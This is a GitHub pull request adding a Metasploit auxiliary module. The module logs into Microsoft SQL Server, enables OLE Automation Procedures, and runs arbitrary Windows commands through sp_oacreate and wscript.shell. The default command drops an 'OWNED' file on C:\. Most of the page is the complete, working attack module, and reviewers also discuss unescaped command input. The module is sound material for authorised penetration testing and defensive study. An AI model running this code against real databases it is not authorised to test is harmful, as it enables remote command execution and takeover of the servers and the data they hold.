Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add mssql_exec_oacreate module #14622

Merged
merged 5 commits into from
Apr 12, 2021
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions modules/auxiliary/admin/mssql/mssql_exec_oacreate.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_oacreate Command Execution',
'Description' => %q{
This module will execute a Windows command on a MSSQL/MSDE instance
via the sp_oacreate procedure (ole) instead of the xp_cmdshell. A valid username and password is required
to use this module
FLX-0x00 marked this conversation as resolved.
Show resolved Hide resolved
},
'Author' => [ 'arcc <pw[at]evait.de>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql'],
]
))

register_options( [
OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),
])
end

def run
return unless mssql_login_datastore

doprint = datastore['VERBOSE']
print_status('Enable advanced options and ole automation procedures')
mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint)
mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint)
print_status('Executing command using sp_oacreate')
mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will this work if the command CMD contains apostrophe characters ' ? They will probably need to be escaped.

Copy link
Contributor Author

@FLX-0x00 FLX-0x00 Feb 23, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Think this will be not possible in this case. The xp_cmdshell method that is already implemented in metasploit has not solved the problem either.

res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)

end
end